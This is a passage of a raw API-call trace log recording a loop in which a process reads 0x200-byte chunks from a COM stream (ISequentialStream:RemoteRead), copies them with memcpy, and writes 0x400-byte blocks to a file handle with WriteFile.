_Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.533] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.533] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.533] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.533] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.534] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.534] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.534] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.534] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.534] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.534] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.534] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.534] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.534] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.534] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.534] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.534] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.534] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.534] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.534] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.534] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.534] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.535] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.535] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.535] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.535] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.535] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.535] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.535] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.535] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.535] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.535] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xfc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.535] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.535] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.535] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.535] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xa, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.535] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.535] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.535] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.535] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.536] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.536] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.536] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.536] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.536] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.536] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.536] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.536] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.536] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xe8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.536] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.536] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.536] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.536] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.536] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.536] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.537] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.537] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.537] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.537] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x66, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.537] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.537] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xa3, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.537] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.537] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.537] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.537] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.537] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.537] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.537] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.537] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.537] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.537] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.537] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.537] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x36, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.537] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.537] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.538] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.538] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.538] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.538] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x95, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.538] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.538] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.538] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.538] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.538] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.538] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x40, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.538] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.538] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.538] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.538] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.538] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.538] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.538] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.538] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.540] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x20, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.540] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x34, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.540] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.540] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.540] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.540] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.540] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.540] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.540] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.540] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xcf, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.540] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.540] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.540] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.540] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.540] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xe4, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.541] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.541] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.541] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.541] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.541] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.541] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xa3, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.541] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.541] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.541] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.541] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x80, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.541] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.541] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.541] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.541] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.541] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.541] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.541] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.542] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x22, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.542] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.542] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.542] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.542] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.542] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.542] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.542] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.542] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.542] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.542] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x2, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.542] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.542] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.542] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.542] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.542] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.542] ISequentialStream:RemoteRead (in: This=0x32f000, 